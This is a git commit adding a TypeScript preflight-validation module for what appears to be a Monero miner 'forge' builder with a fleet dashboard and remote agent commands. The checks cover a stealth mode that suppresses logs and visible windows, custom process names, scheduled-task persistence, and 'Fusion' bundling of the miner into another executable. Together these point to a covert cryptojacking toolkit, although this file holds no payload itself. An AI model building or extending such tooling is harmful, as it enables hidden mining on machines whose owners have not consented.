Add fleet ops dashboard, Calibrate enforcement, and dead-code cleanup.

Ship live alerts, pool status, AI monitor, remote agent commands, build manager, and uninstall flow; wire Calibrate settings (WS ping, pool traffic log, retention limits) at runtime and exclude server/data from git.
This commit is contained in:
drjones
2026-05-27 09:16:04 -07:00
parent 9d223b8137
commit df81eb7744
75 changed files with 8891 additions and 966 deletions

View File

@@ -0,0 +1,177 @@
import type { BuildRequest } from '../types';
import type { PreflightCheck } from './forgeValidation';
function looksLikeXMRWallet(addr: string): boolean {
const a = addr.trim();
return a.length >= 90 && a.length <= 106 && /^4[0-9A-Za-z]+$/.test(a);
}
/** Extra incompatibility checks beyond basic validation. */
export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelected: boolean): PreflightCheck[] {
const checks: PreflightCheck[] = [];
if (form.stealth_mode && form.display_mode === 'visible') {
checks.push({
id: 'stealth_display',
level: 'error',
message: 'Stealth mode cannot use Visible display — switch display to Silent/Background or turn off Stealth.',
});
}
if (form.stealth_mode && form.file_logging) {
checks.push({
id: 'stealth_logs',
level: 'error',
message: 'Stealth mode disables log files — turn off "Write miner.log" or disable Stealth.',
});
}
if (form.fusion_enabled && form.display_mode === 'visible') {
checks.push({
id: 'fusion_display',
level: 'error',
message: 'Fusion builds require silent/background display — Visible mode is not allowed with Fusion.',
});
}
if (form.mining_mode === 'idle') {
if (form.idle_threshold_pct < 1 || form.idle_threshold_pct > 100) {
checks.push({
id: 'idle_threshold',
level: 'error',
message: 'Idle CPU threshold must be between 1 and 100 when using Idle mining mode.',
});
}
if (form.idle_duration_minutes < 1) {
checks.push({
id: 'idle_duration',
level: 'error',
message: 'Idle duration must be at least 1 minute when using Idle mining mode.',
});
}
}
if (form.mining_mode === 'scheduled') {
if (!form.schedule_start || !form.schedule_end) {
checks.push({
id: 'schedule',
level: 'error',
message: 'Scheduled mode requires both Start Time and End Time.',
});
}
}
if (form.thread_mode === 'fixed' && form.adapt_to_hardware) {
checks.push({
id: 'adapt_fixed',
level: 'warn',
message: 'Adapt to hardware is ignored when Thread Mode is Fixed — consider turning it off.',
});
}
if (form.thread_mode === 'percent' && (form.thread_percent < 1 || form.thread_percent > 100)) {
checks.push({
id: 'thread_percent_range',
level: 'error',
message: 'Thread Percent must be between 1 and 100.',
});
}
if (form.max_cpu_usage_pct < 1 || form.max_cpu_usage_pct > 100) {
checks.push({
id: 'max_cpu',
level: 'error',
message: 'Max CPU Usage must be between 1 and 100.',
});
}
if (form.max_memory_percent < 10 || form.max_memory_percent > 95) {
checks.push({
id: 'max_mem',
level: 'error',
message: 'Max Memory must be between 10 and 95.',
});
}
if (form.pool_port < 1 || form.pool_port > 65535) {
checks.push({
id: 'pool_port',
level: 'error',
message: 'Pool port must be between 1 and 65535.',
});
}
if (form.pool_port === 443 && !form.pool_tls) {
checks.push({
id: 'pool_tls_443',
level: 'warn',
message: 'Port 443 typically requires TLS — enable Use TLS/SSL unless your pool says otherwise.',
});
}
if (form.pool_tls && form.pool_port === 3333) {
checks.push({
id: 'pool_tls_3333',
level: 'warn',
message: 'TLS on port 3333 is unusual — confirm with your pool (many use 443 for SSL).',
});
}
if (!form.pool_pass.trim()) {
checks.push({
id: 'pool_pass',
level: 'warn',
message: 'Pool password empty — will default to "x" (standard for Monero).',
});
}
if (form.run_as === 'service') {
checks.push({
id: 'run_as_service',
level: 'warn',
message: '"Windows Service" uses a scheduled task under the hood — not a true SCM service.',
});
}
if (form.ai_enabled && form.ai_ollama_endpoint.includes('127.0.0.1')) {
checks.push({
id: 'ai_localhost',
level: 'warn',
message: 'Ollama URL uses 127.0.0.1 — that means the control server PC, not the worker machine.',
});
}
if (form.ai_enabled && !form.self_healing) {
checks.push({
id: 'ai_no_heal',
level: 'warn',
message: 'AI Autonomy works best with Self-healing enabled — consider turning it on.',
});
}
if (form.process_name.trim() && !/^[a-zA-Z0-9._-]+$/.test(form.process_name.trim())) {
checks.push({
id: 'process_name',
level: 'warn',
message: 'Process name has unusual characters — use letters, numbers, dash, underscore only.',
});
}
if (form.wallet.trim() && looksLikeXMRWallet(form.wallet) && form.pool_host.trim()) {
checks.push({
id: 'forge_ready',
level: 'ok',
message: 'Core miner config looks coherent — wallet, pool, and identity are set.',
});
}
if (form.fusion_enabled && fusionPrepSelected) {
checks.push({
id: 'fusion_ready',
level: 'ok',
message: 'Fusion prep.exe attached — ready to bundle.',
});
}
return checks;
}